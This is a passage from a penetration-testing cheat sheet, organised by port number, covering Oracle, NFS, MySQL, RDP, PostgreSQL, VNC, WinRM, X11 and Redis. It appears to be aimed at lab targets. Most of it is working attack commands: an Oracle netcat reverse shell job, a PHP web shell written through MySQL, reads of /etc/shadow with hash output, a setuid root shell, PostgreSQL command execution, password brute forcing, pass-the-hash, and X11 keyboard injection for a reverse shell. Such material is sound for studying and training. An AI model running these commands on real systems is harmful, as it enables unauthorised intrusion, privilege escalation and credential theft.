PCMS_SYS/PCMS_SYS
WMSYS/WMSYS
OUTLN/OUTLN
system/manager
sys/change_on_install
dbsnmp/dbsnmp
scott/tiger
pcms_sys/pcms_sys
wmsys/wmsys
outln/outln
```

## Connecting to Oracle DB

To interact with Oracle from our Kali box, there are three tools that can come in handy. sqlplus is required for odat to work properly:&#x20;

Sqlplus will be installed with odat. So just install odat (apt install odat)&#x20;

### Connect as normal user:

```
root@kali:~/hackthebox/silo# sqlplus SCOTT/tiger@10.10.10.82:1521/XE 
SQL*Plus: Release 12.2.0.1.0 Production on Thu Apr 26 08:54:27 2018 

Copyright (c) 1982, 2016, Oracle.  All rights reserved. 

Connected to: 
Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production 
 
SQL> 
```

### Connect as sysdba:

```
sqlplus SCOTT/tiger@10.10.10.82:1521/XE as sysdba
```

## Privilege escalation

**Can also do the Metasploit module**

&#x20;Oracle priv esc and obtain DBA access:&#x20;

**Run netcat**: netcat -nvlp 443 code&#x20;

`SQL> create index exploit_1337 on SYS.DUAL(SCOTT.GETDBA('BAR'));`&#x20;

**Run the exploit with a select query:**&#x20;

`SQL> Select * from session_privs;` &#x20;

**Remove the exploit using:**&#x20;

`drop index exploit_1337;`&#x20;

#### ODAT

```
./odat.py privesc -s $SERVER -d $ID -U $USER -P $PASSWORD -h #Get module Help
```

## reverse shell #1

```
begin
dbms_scheduler.create_job( job_name    => 'TESTX',job_type    =>
    'EXECUTABLE',job_action => '/bin/nc',number_of_arguments => 4,start_date =>
    SYSTIMESTAMP,enabled    => FALSE,auto_drop => TRUE); 
dbms_scheduler.set_job_argument_value('rev_shell', 1, 'TARGET-IP');
dbms_scheduler.set_job_argument_value('rev_shell', 2, '443');
dbms_scheduler.set_job_argument_value('rev_shell', 3, '-e');
dbms_scheduler.set_job_argument_value('rev_shell', 4, '/bin/bash');
dbms_scheduler.enable('rev_shell'); 
end;
/
```

If your trying to do this with sqlplus you need to put a / at the end to complete the operation

## reverse shell #1

```
find vulnarable modules:
odat all -s 10.10.10.82 -d XE -U SCOTT -P tiger --sysdba

upload shell:
./odat-libc2.12-x86_64 dbmsadvisor -s 10.10.10.82 -d XE -U SCOTT -P tiger --sysdba --putFile C:\\inetpub\\wwwroot 0xdf.aspx /usr/share/webshells/aspx/cmdasp.aspx

```

## Resources:

<https://medium.com/@netscylla/oracle-hacks-part-2-b1ccb1916d1f>


# 2049 - NFS

NFS security is partially based on the remote user mounting the filesystem having the same UID (User ID) and GID (Group ID) as the owner of that share.

We can find a NFS share if we query port 111 (RPC)

NFS security is partially based on the remote user mounting the filesystem having the same UID (User ID) and GID (Group ID) as the owner of that share. Restrictions can also be placed into the **/etc/hosts.allow** and **/etc/hosts.deny** files, but we won’t go into that here. Suffice to say, using the UID and GID as a basis for security isn’t the best way of doing it.

### Show shares:

`showmount -e {IP Address}`&#x20;

### Mount a share:

* Don't forget to create the share you mounting to (/mnt/nfs)...

`mount {IP Address}:/vol/share /mnt/nfs -nolock nfsserver=3`&#x20;

Example:

`root@kali:~# mount -t nfs 192.168.0.42:/var/nfs /mnt/test1 -o nolock`&#x20;

\*Mount Windows CIFS / SMB share on Linux at /mnt/cifs if you remove password it will prompt on the CLI (more secure as it wont end up in bash\_history)&#x20;

**Using username and password:**&#x20;

`mount -t cifs -o ro,domain=[domain],username=[username],password=[password],sec=ntlmv2 //hostnameOrIP/Share /path/to/localdir`&#x20;

Example:&#x20;

`mount -t cifs nfsserver=3 -o username=user,password=pass,domain=blah //192.168.1.X/share-name /mnt/cifs`&#x20;

### Unmount

`root@kali:~# umount -f -l /mnt/test1`&#x20;

### UID/GID Manipulation&#x20;

Can use nfsshell or use bash&#x20;

Add new user with the following commands:&#x20;

```
groupadd --gid 1005 peter 
adduser peter --uid 101 --gid 1005
```

Now we can create ssh keys (ssh-keygen) and able copy the ssh key to the nfs share:&#x20;

`cat ~/.ssh/id_rsa.pub >> /mnt/peter/.ssh/authorized_keys`&#x20;

### Nfsshell&#x20;

Link: <https://github.com/NetDirect/nfsshell> or [nfsshell](/infrastructure-testing/tools/nfsshell)

Nfsshell is useful for accessing NFS shares without having to create users with the same UID/GID pair as the target exported filesystem&#x20;

**Example**:&#x20;

```
root@kali:/opt/nfsshell# ./nfsshell  
nfs> host 192.168.0.45 
Using a privileged port (1021) 
Open 192.168.0.45 (192.168.0.45) TCP 
nfs> export 
Export list for 192.168.0.45: 
/home/karl               *  
nfs> mount /home/karl 
Using a privileged port (1020) 
Mount `/home/karl', TCP, transfer size 65536 bytes. 
nfs> ls -l 
drwxr-xr-x  3     1001  1001      4096  Mar  5  2019  . 
drwxr-xr-x  3     1001  1001      4096  Mar  5  2019  .. 
drwxr-xr-x  3     1001  1001      4096  Mar  5  2019  .bash_history 
drwxr-xr-x  3     1001  1001      4096  Mar  5  2019  .bash_logout 
drwxr-xr-x  3     1001  1001      4096  Mar  5  2019  .bashrc 
drwxr-xr-x  3     1001  1001      4096  Mar  5  2019  .lesshst 
drwxr-xr-x  3     1001  1001      4096  Mar  5  2019  .profile 
drwxr-xr-x  3     1001  1001      4096  Mar  5  2019  .ssh 
nfs> cd .ssh 
nfs> ls 
Readdir failed: Permission denied 
nfs> uid 1001 
nfs> gid 1001 
nfs> ls 
. 
.. 
authorized_keys 
id_rsa 
id_rsa.pub 
user.txt 
nfs>  
```

## Shell

We can obtain a shell via running the following code:

```
cat << EOF >> shell.c
> #include 
> #include 
> #include 
> #include 
> int main()
> {
> setuid(0);
> system("/bin/bash");
> return 0;
> }
> EOF

gcc shell.c shell
./shell
```


# 3306 - MySQL

MySQL is a very popular open-source relational database management system.

## Connecting&#x20;

Connect using one of the following options:&#x20;

1. mysql client (builtin in Kali)&#x20;
2. &#x20;metasploit (mysql\_login)&#x20;

### mysql client:

`mysql -h 192.102.118.3 -u root`

## Basic Commands

**show databases:**&#x20;

```
MySQL [(none)]> show databases; 
+--------------------+ 
| Database           | 
+--------------------+ 
| information_schema | 
| books              | 
| data               | 
| mysql              | 
| password           | 
| performance_schema | 
| secret             | 
| store              | 
| upload             | 
| vendors            | 
| videos             | 
+--------------------+ 
11 rows in set (0.001 sec) 
MySQL [(none)]>  
```

**display tables**:&#x20;

```
MySQL [books]> show tables; 
+-----------------+ 
| Tables_in_books | 
+-----------------+ 
| authors         | 
+-----------------+ 
count columns: 
MySQL [books]> SELECT count(*) FROM authors; 
+----------+ 
| count(*) | 
+----------+ 
|       10 | 
+----------+ 
1 row in set (0.001 sec) 
```

**load file:**&#x20;

```
MySQL [(none)]> select load_file("/etc/shadow"); 
+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ 
| load_file("/etc/shadow")                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | 
+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ 
| root:$6$eoOI5IAu$S1eBFuRRxwD7qEcUI3rrQY3/6M.fWHRBHRntsKhgqnClY2.KC.vA/:17861:0:99999:7::: 
daemon:*:17850:0:99999:7::: 
bin:*:17850:0:99999:7::: 
sys:*:17850:0:99999:7::: 
sync:*:17850:0:99999:7::: 
games:*:17850:0:99999:7::: 
man:*:17850:0:99999:7::: 
lp:*:17850:0:99999:7::: 
mail:*:17850:0:99999:7::: 
news:*:17850:0:99999:7::: 
uucp:*:17850:0:99999:7::: 
proxy:*:17850:0:99999:7::: 
www-data:*:17850:0:99999:7::: 
backup:*:17850:0:99999:7::: 
list:*:17850:0:99999:7::: 
irc:*:17850:0:99999:7::: 
gnats:*:17850:0:99999:7::: 
nobody:*:17850:0:99999:7::: 
libuuid:!:17850:0:99999:7::: 
syslog:*:17850:0:99999:7::: 
mysql:!:17857:0:99999:7::: 
dbadmin:$6$vZ3Fv3x6$qdB/lOAC1EtkdbQKpHEp/BkVMQD2C2AFPkYW3.W7jMlMbl5.:17861:0:99999:7::: 
 | 
+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ 
1 row in set (0.000 sec) 
```

## Command execution

If mysql is running as root you can run commands by typing:&#x20;

`select sys_exec('whoami');`&#x20;

`select sys_eval('whoami');`&#x20;

```
select "<?php echo shell_exec($_GET['cmd']);?>" into OUTFILE '/var/www/html/this-is-my-shell.php'
```

## Enumeration

### Nmap&#x20;

#### Nmap scripts

```
root@attackdefense:~# ls /usr/share/nmap/scripts/*mysql* 
/usr/share/nmap/scripts/mysql-audit.nse 
/usr/share/nmap/scripts/mysql-dump-hashes.nse 
/usr/share/nmap/scripts/mysql-info.nse 
/usr/share/nmap/scripts/mysql-variables.nse 
/usr/share/nmap/scripts/mysql-brute.nse 
/usr/share/nmap/scripts/mysql-empty-password.nse 
/usr/share/nmap/scripts/mysql-query.nse 
/usr/share/nmap/scripts/mysql-vuln-cve2012-2122.nse 
/usr/share/nmap/scripts/mysql-databases.nse 
/usr/share/nmap/scripts/mysql-enum.nse 
/usr/share/nmap/scripts/mysql-users.nse
```

#### &#x20;User enumeration:

```
root@attackdefense:~# nmap -p 3306 192.102.118.3 --script mysql-enum 
Starting Nmap 7.70 ( 
https://nmap.org
 ) at 2019-11-04 16:22 UTC 
Nmap scan report for target-1 (192.102.118.3) 
Host is up (0.000059s latency). 
 
PORT     STATE SERVICE 
3306/tcp open  mysql 
| mysql-enum:  
|   Valid usernames:  
|     root:<empty> - Valid credentials 
|     user:<empty> - Valid credentials 
|     web:<empty> - Valid credentials 
|     guest:<empty> - Valid credentials 
|     test:<empty> - Valid credentials 
|     sysadmin:<empty> - Valid credentials 
|     administrator:<empty> - Valid credentials 
|     webadmin:<empty> - Valid credentials 
|     admin:<empty> - Valid credentials 
|     netadmin:<empty> - Valid credentials 
|_  Statistics: Performed 10 guesses in 1 seconds, average tps: 10.0 
MAC Address: 02:42:C0:66:76:03 (Unknown) 
```

#### dump hashes

```
root@attackdefense:~# nmap -p 3306 192.102.118.3 --script mysql-dump-hashes.nse --script-args='username=root,password=' 
Starting Nmap 7.70 ( 
https://nmap.org
 ) at 2019-11-04 16:33 UTC 
Nmap scan report for target-1 (192.102.118.3) 
Host is up (0.000060s latency). 
 
PORT     STATE SERVICE 
3306/tcp open  mysql 
| mysql-dump-hashes:  
|   debian-sys-maint:*CDDA79A15EF590ED57BB5933ECD27364809EE90D 
|   filetest:*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B 
|   ultra:*827EC562775DC9CE458689D36687DCED320F34B0 
|   guest:*17FD2DDCC01E0E66405FB1BA16F033188D18F646 
|   sigver:*027ADC92DD1A83351C64ABCD8BD4BA16EEDA0AB0 
|   udadmin:*E6DEAD2645D88071D28F004A209691AC60A72AC9 
|_  sysadmin:*46CFC7938B60837F46B610A2D10C248874555C14 
MAC Address: 02:42:C0:66:76:03 (Unknown) 
 
Nmap done: 1 IP address (1 host up) scanned in 0.40 seconds 
```

### Metasploit

#### Modules:

```
msf5 > search mysql 

Matching Modules 
================ 
   #   Name                                                  Disclosure Date  Rank       Check  Description 
   -   ----                                                  ---------------  ----       -----  ----------- 
   1   auxiliary/admin/http/manageengine_pmp_privesc         2014-11-08       normal     Yes    ManageEngine Password Manager SQLAdvancedALSearchResult.cc Pro SQL Injection 
   2   auxiliary/admin/http/rails_devise_pass_reset          2013-01-28       normal     No     Ruby on Rails Devise Authentication Password Reset 
   3   auxiliary/admin/mysql/mysql_enum                                       normal     No     MySQL Enumeration Module 
   4   auxiliary/admin/mysql/mysql_sql                                        normal     No     MySQL SQL Generic Query 
   5   auxiliary/admin/tikiwiki/tikidblib                    2006-11-01       normal     No     TikiWiki Information Disclosure 
   6   auxiliary/analyze/jtr_mysql_fast                                       normal     No     John the Ripper MySQL Password Cracker (Fast Mode) 
   7   auxiliary/gather/joomla_weblinks_sqli                 2014-03-02       normal     Yes    Joomla weblinks-categories Unauthenticated SQL Injection Arbitrary File Read 
   8   auxiliary/scanner/mysql/mysql_authbypass_hashdump     2012-06-09       normal     Yes    MySQL Authentication Bypass Password Dump 
   9   auxiliary/scanner/mysql/mysql_file_enum                                normal     Yes    MYSQL File/Directory Enumerator 
   10  auxiliary/scanner/mysql/mysql_hashdump                                 normal     Yes    MYSQL Password Hashdump 
   11  auxiliary/scanner/mysql/mysql_login                                    normal     Yes    MySQL Login Utility 
   12  auxiliary/scanner/mysql/mysql_schemadump                               normal     Yes    MYSQL Schema Dump 
   13  auxiliary/scanner/mysql/mysql_version                                  normal     Yes    MySQL Server Version Enumeration 
   14  auxiliary/scanner/mysql/mysql_writable_dirs                            normal     Yes    MYSQL Directory Write Test 
   15  auxiliary/server/capture/mysql                                         normal     No     Authentication Capture: MySQL 
   16  exploit/linux/mysql/mysql_yassl_getname               2010-01-25       good       No     MySQL yaSSL CertDecoder::GetName Buffer Overflow 
   17  exploit/linux/mysql/mysql_yassl_hello                 2008-01-04       good       No     MySQL yaSSL SSL Hello Message Buffer Overflow 
   18  exploit/multi/http/manage_engine_dc_pmp_sqli          2014-06-08       excellent  Yes    ManageEngine Desktop Central / Password Manager LinkViewFetchServlet.dat SQL Injection 
   19  exploit/multi/http/zpanel_information_disclosure_rce  2014-01-30       excellent  No     Zpanel Remote Unauthenticated RCE 
   20  exploit/multi/mysql/mysql_udf_payload                 2009-01-16       excellent  No     Oracle MySQL UDF Payload Execution 
   21  exploit/unix/webapp/kimai_sqli                        2013-05-21       average    Yes    Kimai v0.9.2 'db_restore.php' SQL Injection 
   22  exploit/unix/webapp/wp_google_document_embedder_exec  2013-01-03       normal     Yes    WordPress Plugin Google Document Embedder Arbitrary File Disclosure 
   23  exploit/windows/mysql/mysql_mof                       2012-12-01       excellent  Yes    Oracle MySQL for Microsoft Windows MOF Execution 
   24  exploit/windows/mysql/mysql_start_up                  2012-12-01       excellent  Yes    Oracle MySQL for Microsoft Windows FILE Privilege Abuse 
   25  exploit/windows/mysql/mysql_yassl_hello               2008-01-04       average    No     MySQL yaSSL SSL Hello Message Buffer Overflow 
   26  exploit/windows/mysql/scrutinizer_upload_exec         2012-07-27       excellent  Yes    Plixer Scrutinizer NetFlow and sFlow Analyzer 9 Default MySQL Credential 
   27  post/linux/gather/enum_configs                                         normal     No     Linux Gather Configurations 
   28  post/linux/gather/enum_users_history                                   normal     No     Linux Gather User History 
   29  post/multi/manage/dbvis_add_db_admin                                   normal     No     Multi Manage DbVisualizer Add Db Admin 
```

#### Enumerate directories:

```
msf5 auxiliary(scanner/mysql/mysql_file_enum) > show options  

Module options (auxiliary/scanner/mysql/mysql_file_enum): 
 
   Name           Current Setting  Required  Description 
   ----           ---------------  --------  ----------- 
   DATABASE_NAME  mysql            yes       Name of database to use 
   FILE_LIST                       yes       List of directories to enumerate 
   PASSWORD                        no        The password for the specified username 
   RHOSTS         192.102.118.3    yes       The target address range or CIDR identifier 
   RPORT          3306             yes       The target port (TCP) 
   TABLE_NAME     RxJwRpLp         yes       Name of table to use - Warning, if the table already exists its contents will be corrupted 
   THREADS        1                yes       The number of concurrent threads 
   USERNAME       root             yes       The username to authenticate as  
msf5 auxiliary(scanner/mysql/mysql_file_enum) > set FILE_LIST /usr/share/metasploit-framework/data/wordlists/directory.txt 
FILE_LIST => /usr/share/metasploit-framework/data/wordlists/directory.txt 
msf5 auxiliary(scanner/mysql/mysql_file_enum) > run 
 
[+] 192.102.118.3:3306    - /tmp is a directory and exists 
[+] 192.102.118.3:3306    - /etc/passwd is a file and exists 
[+] 192.102.118.3:3306    - /etc/shadow is a file and exists 
[+] 192.102.118.3:3306    - /root is a directory and exists 
[+] 192.102.118.3:3306    - /home is a directory and exists 
[+] 192.102.118.3:3306    - /etc is a directory and exists 
[+] 192.102.118.3:3306    - /etc/hosts is a file and exists 
[+] 192.102.118.3:3306    - /usr/share is a directory and exists 
[+] 192.102.118.3:3306    - /etc is a directory and exists 
[*] 192.102.118.3:3306    - Scanned 1 of 1 hosts (100% complete) 
[*] Auxiliary module execution completed 
msf5 auxiliary(scanner/mysql/mysql_file_enum) >  
 
```


# 3389 - RDP

Remote Desktop Protocol (RDP) is a proprietary protocol developed by Microsoft which provides a user with a graphical interface to connect to another computer over a network connection.

A user need to be part of the "Remote Desktop Users" in order to login to the host via RDP.

## Enumeration

### Nmap

Find encryption type:

`nmap -p 3389 --script rdp-enum-encryption <target>`

Enumerates information from remote RDP services with CredSSP (NLA) authentication enabled:

`nmap -p 3389 --script rdp-ntlm-info <target>`

Check if vulnerable to MS12-020:

`nmap -sV --script=rdp-vuln-ms12-020 -p 3389 <target>`

## Brute force access

### RDPassSpray

RDPassSpary is a python tool to perform password spray attack in a Microsoft domain environment.

Link: <https://github.com/xFreed0m/RDPassSpray>

Usage:

```
python3 RDPassSpray.py -u [USERNAME] -p [PASSWORD] -d [DOMAIN] -t [TARGET IP]
```

### Crowbar

Link: <https://github.com/galkan/crowbar>

`./crowbar.py -b rdp -s 10.xx.xx.xx/32 -u sectest@TESTDOMAIN.local -C /root/Desktop/tests/hyda_rdp/rock.txt`

### Hydra:

`hydra -t 1 -V -f -l administrator -P rockyou.txt rdp://192.168.1.1`

## Connect to RDP

Please see this section on [how to connect ](/infrastructure-testing/gaining-access/remote-desktop)


# 5432 - PostgresSQL

PostgreSQL is an open source database which can be found mostly in Linux operating systems.

PostgreSQL is an open source database which can be found mostly in Linux operating systems. However it has great compatibility with multiple operating systems and it can run in Windows and MacOS platforms as well. If the database is not properly configured and credentials have been obtained then it is possible to perform various activities like read and write system files and execution of arbitrary code.

## Enumeration

### Nmap

**Version disclosure**&#x20;

`Use nmap -sV -p 5432 10.0.0.1`

**Bruteforce credentials:**

`nmap -p 5432 --script pgsql-brute`&#x20;

### Metasploit

**Version disclosure**&#x20;

`auxiliary/scanner/postgres/postgres_version`&#x20;

**Bruteforce login:**&#x20;

`auxiliary/scanner/postgres/postgres_login`&#x20;

**Dump scheme:**&#x20;

`auxiliary/scanner/postgres/postgres_schemadump`&#x20;

**Database enumeration:**&#x20;

`auxiliary/admin/postgres/postgres_sql`&#x20;

**Hashdump:**&#x20;

`auxiliary/scanner/postgres/postgres_hashdump`&#x20;

**Read files:**&#x20;

`auxiliary/admin/postgres/postgres_readfile`&#x20;

**Reverse shell**&#x20;

`exploit/linux/postgres/postgres_payload`&#x20;

## Login

Login using psql:

`psql -h 192.168.100.11 -U postgres`

## Common/default credentials

| Username | Password |
| -------- | -------- |
| postgres | postgres |
| postgres | password |
| postgres | admin    |
| admin    | admin    |
| admin    | password |

### Bruteforce login credentials:

```
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt 192.168.1.120 postgres
```

## Commands

| Description                         | Command                                                                                                                                                                          |
| ----------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| List databases                      | \l                                                                                                                                                                               |
| List databases users                | \du                                                                                                                                                                              |
| List existing tables                | \dt                                                                                                                                                                              |
| Connect to a specific database      | \c database\_name;                                                                                                                                                               |
| Get detailed information on a table | \d+ table\_name                                                                                                                                                                  |
| Get table content                   | select \* from table\_name;                                                                                                                                                      |
| Retrieving database passwords       | <p>SELECT \* FROM users;</p><p>OR <br>select usename, passwd from pg\_shadow</p>                                                                                                 |
| Dumping databases content           | <p> SELECT usename, passwd FROM pg\_shadow; <br>OR</p><p>pg\_dump --host=192.168.100.11 --username=postgres --password --dbname=template1 --table='users' -f output\_pgdump </p> |
| Create a new database               | CREATE DATABASE \[IF NOT EXISTS] db\_name;                                                                                                                                       |
| exit the database                   | \q                                                                                                                                                                               |

## Command execution

PostgreSQL databases can interact with the underlying operating by allowing the database administrator to execute various database commands and retrieve output from the system.&#x20;

Run:&#x20;

`postgres=# select pg_ls_dir('./');`&#x20;

By executing the following command it is possible to read server side postgres files.&#x20;

`postgres=# select pg_read_file('PG_VERSION', 0, 200);`&#x20;

It is also possible to create a database table in order to store and view contents of a file that exist in the host.&#x20;

```
postgres-# CREATE TABLE temp(t TEXT); 
postgres-# COPY temp FROM '/etc/passwd'; 
postgres-# SELECT * FROM temp; 
```

OR use the metasploit module&#x20;

`Auxiliary/admin/postgres/postgres_readfile`&#x20;

### Execute command

```
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'sudo -l';
SELECT * FROM cmd_exec;

```


# 5900 - VNC

Virtual Network Computing (VNC) is a graphical desktop sharing system that uses the Remote Frame Buffer protocol (RFB) to remotely control another computer. It transmits the keyboard and mouse events

**Nmap**:&#x20;

Script: vnc-info&#x20;

&#x20;**Example Usage**&#x20;

```
nmap -p 5901 --script vnc-info 192.168.0.50

PORT    STATE SERVICE 
5900/tcp open  vnc 
| vnc-info: 
|   Protocol version: 3.889 
|   Security types: 
|     Mac OS X security type (30) 
|_    Mac OS X security type (35) 
```

**Connect to VNC:**

`vncviewer $IP:5901`&#x20;

**Brute Force with Metasploit**&#x20;

`use auxiliary/scanner/vnc/vnc_login`&#x20;


# 5985 - WinRM

Windows Remote Management (WinRM) is the Microsoft implementation of WS-Management Protocol, a standard Simple Object Access Protocol (SOAP)-based. Usaully run on port 5985.

## Info

WinRM uses the PSRemoting (PowerShell remote) to login to a host and execute commands.

You can enable WinRM by running `Enable-PSRemoting`

By default WinRM uses port 5985 for sending traffic over HTTP (But it's still encrypted), and port 5986 for SSL.

If you can make a HTTP request (GET) to `/wsman` and you get 200 back, WinRM  is enabled (on port 5985).

### Add User to winrm group

```
net localgroup "Remote Management Users" /add bowen
```

## Bruteforce login

### Metasploit

The winrm\_login module is a standard Metasploit login scanner to bruteforce passwords.

`use auxiliary/scanner/winrm/winrm_login`

### Crackmapexec

`cme winrm 192.168.1.0/24 -u userfile -p passwordfile`

## Login from windows

### Powershell

From a powershell command prompt:

```
$pass = ConvertTo-SecureString 'supersecurepassword' -AsPlainText -Force 
$cred = New-Object System.Management.Automation.PSCredential ('ECORP.local\morph3', $pass) 
Invoke-Command -ComputerName DC -Credential $cred -ScriptBlock { whoami }
```

### &#x20;Winrs

Winrs.exe is a built-in command line tool that allows for the execution of remote commands over WinRm with a properly credentialed user.

```
winrs -r:corp-dc "whoami /all"
```

### &#x20;**Winrm.cmd**

Command–line tool for system management is implemented in a Visual Basic Scripting Edition file (Winrm.vbs) written using the WinRM scripting API.

```
winrm invoke Create wmicimv2/Win32_Process @{CommandLine="notepad"} -r:corp-dc
```

## Login from Linux

### Ruby Script

A quick and dirty script - use  [Alamot’s Ruby script](https://raw.githubusercontent.com/Alamot/code-snippets/master/winrm/winrm_shell.rb) &#x20;

Remember to change the username and password&#x20;

### Evil-WinRM

A comprehensive winrm shell

<https://github.com/Hackplayers/evil-winrm>

Install:

```
sudo apt install ruby-dev build-essential
sudo gem install evil-winrm
```

You can also execute built in 'Bypass-AMSI', 'DLL-loader', 'Dount Loader' and 'Invoke Binary' straight from the shell by just typing `menu` in the shell

We can also load powershell scripts using the `-s` option and providing a folder with scripts, and then just calling the script from the shell (example typing `powerup.ps` )and then when we go to the menu it will show the functions from that script.

**Note:** Evil-WINRM uses **Invoke-Expression** to execute command - therefor if you're in some kind of constrained language mode that isn’t allowing Invoke-Expression you will get errors.

Like this:

```

*Evil-WinRM* PS The term 'Invoke-Expression' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again.
    + CategoryInfo          : ObjectNotFound: (Invoke-Expression:String) [], CommandNotFoundException
    + FullyQualifiedErrorId : CommandNotFoundException> 
```

### CrackMapexec

Here’s an example of using CrackMapExec winrm method as local Administrator with a clear text password:

`crackmapexec winrm -d . -u Administrator -p 'pass123' -x "whoami" 192.168.204.183`&#x20;

Here’s example using a NTLM hash:

`crackmapexec winrm -d . -u Administrator -H aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76 -x "whoami" 192.168.204.183`

### Metasploit

WinRM Script Exec exploit module can obtain a shell without triggering an anti-virus solution, in certain cases. This module has two different payload delivery methods. Its primary delivery method is through the use of PowerShell 2.0. The module checks to see if PowerShell 2.0 is available on the system. It then tries to enable unrestricted script execution, an important step because PowerShell does not execute unsigned script files by default. If either of these checks fail, it will default to the VBS CmdStager payload method, otherwise it will use our Powershell 2.0 method.

`use exploit/windows/winrm/winrm_script_exec`

## Login from Windows&#x20;

This can also be done using `PowerShell` for Linux (apt install pwsh *or* apt install powershell)

```
PS /> $pass = ConvertTo-SecureString 'kittycat1' -asplaintext -force
PS /> $cred = New-Object System.Management.Automation.PSCredential('htb\k.svensson', $pass)
PS /> Enter-PSSession -Computer 10.10.10.210 -credential $cred -Authentication Negotiate
[10.10.10.210]: PS>
```

If you get a error `Unspecified GSS failure` install gss-ntlmssp using apt.


# 6000 - X11

The X Window System (X11, or simply X) is a windowing system for bitmap displays, common on Unix-like operating systems. X provides the basic framework for a GUI environment.

## Nmap

Script:

&#x20;`x11-access.nse`&#x20;

**Host script results**: \
`|_ x11-access: X server access is granted`&#x20;

### Sensepost created the following nmap script

<https://github.com/sensepost/x11-active-displays>

**Usage**

```
nmap -p6000 <host> --script x11-active-displays.nse
nmap -p6000 <host> --script x11-active-displays.nse --script-args=unsafe=1,dir="/home/<username>/Documents/"
```

**Output**

```
Host script results:
| x11-active-displays: X server access is granted
|     Active display
|_    Screenshot saved to /tmp/<ip>:<dp>.jpg
Host script results:
| x11-active-displays: X server access is granted
|_    No active display
```

## Metasploit

X11 No-Auth Scanner - Module scans for X11 servers that allow anyone to connect without authentication.&#x20;

`auxiliary/scanner/x11/open_x11`&#x20;

## Connect to X11 server

**Xorg:**

`sudo Xorg -terminate -query $REMOTE_HOST :1`&#x20;

**Using X:**&#x20;

`X :1 -query s390vm.example.com`

* To exit press 'ctrl+alt+enter'&#x20;

**To enable XDMCP in Remmina run the following:**&#x20;

`sudo apt-get install remmina-plugin-xdmcp`&#x20;

## **Taking screenshot**

### **xwd**

XWD It is an X Window System utility that helps in taking screenshots. On our Kali System, we will use the xwd to take the screenshot of Xserver. This utility takes the screenshots in xwd format.&#x20;

To take a screenshot run:&#x20;

`xwd -root -screen -silent -display 192.168.1.109:0 > screenshot.xwd`&#x20;

Here we have the screenshot captured by the xwd, but it is in .xwd format, so to view it we will have to convert it to a viewable format like .png&#x20;

**Note:** You may need to install `imagemagick` to convert to png, `convert` is not pre installed on kali

`convert screenshot.xwd screenshot.png`&#x20;

On opening the png file we can see that the xwd tool has successfully captured the screenshot of the target system.&#x20;

### **xrdp**&#x20;

```
iron@kali2:/opt/xrdp$ python xrdp.py 192.168.0.62:0 
              _        
__  ___ __ __| |_ __   
\ \/ / '__/ _` | '_ \  
 >  <| | | (_| | |_) | 
/_/\_\_|  \__,_| .__/  
               |_|     
X11 Remote Desktop 
xrdp.py <host>:<dp> 
------------------------ 
Example: 
xrdp.py 10.0.0.10:0 
xrdp.py 10.0.0.10:0 --no-disp 
```

## **Gaining remote shell**

&#x20;we will use the X11 Keyboard Command Injection module of the Metasploit Framework. This module exploits open X11 Server by connecting and registering a virtual keyboard. Then the Virtual Keyboard is used to open an xterm or gnome-terminal and then type and execute the payload.&#x20;

NOTE: As X Server is a visual service, while the executing of the module will take place, every task occurring on the Target System will be visible to the Victim.&#x20;

Now, after opening the Metasploit Framework, we will use the payload as shown:

```
use unix/x11/x11_keyboard_exec 
msf exploit(unix/x11x11_keyboard_exec) > set rhost 192.168.1.109 
msf exploit(unix/x11x11_keyboard_exec) > set payload cmd/unix/reverse_bash 
msf exploit(unix/x11x11_keyboard_exec) > set lhost 192.168.1.120 
msf exploit(unix/x11x11_keyboard_exec) > set lport 4444 
msf exploit(unix/x11x11_keyboard_exec) > set time_wait 10 
msf exploit(unix/x11x11_keyboard_exec) >  run 
```

After running the module, it will first connect to the Server and search for xterm and open it. Then after waiting for 10 seconds as its the wait time we gave earlier, it will start typing the script command on the xterm, After executing this command, xterm will get closed, but it will provide a command shell to the Attacker.&#x20;

## **Gather information on the windows open**&#x20;

XWININFO - This is the built-in utility in Kali, it shows the window’s information for X Service. xwininfo can be used to get information about the windows opened on the target system.&#x20;

`xwininfo -root -tree -display 192.168.1.109:0`

* Root = specifies that X’s root window is the target window&#x20;
* Tree = displays the names of the windows&#x20;
* Display = specify the server to connect to&#x20;

We can extract much information from the screenshot like:&#x20;

* The victim has Gnome Terminal Opened&#x20;
* The victim is a VMware user&#x20;
* The victim has Nautilus (Ubuntu File Browser) Opened&#x20;

## **Capture keystrokes**&#x20;

XSPY It is a built-in tool Kali Linux for the X Window Servers. XSPY is a sniffer, it sniffs keystrokes on the remote or local X Server.&#x20;


# 6379 - Redis

Redis is an in-memory data structure project implementing a distributed, in-memory key-value database with optional durability. Redis supports different kinds of abstract data structures, such as stri

### Nmap

**Scan:**

```
root@attackdefense:~# nmap --script redis-info -p 6379 192.168.88.3 
Starting Nmap 7.70 ( https://nmap.org ) at 2019-10-30 12:26 UTC 
Nmap scan report for target-1 (192.168.88.3) 
Host is up (0.000060s latency). 

PORT     STATE SERVICE 
6379/tcp open  redis 
| redis-info:  
|   Version: 5.0.4 
|   Operating System: Linux 4.15.0-64-generic x86_64 
|   Architecture: 64 bits 
|   Process ID: 9 
|   Used CPU (sys): 0.129580 
|   Used CPU (user): 0.117239 
|   Connected clients: 3 
|   Connected slaves: 0 
|   Used memory: 876.89K 
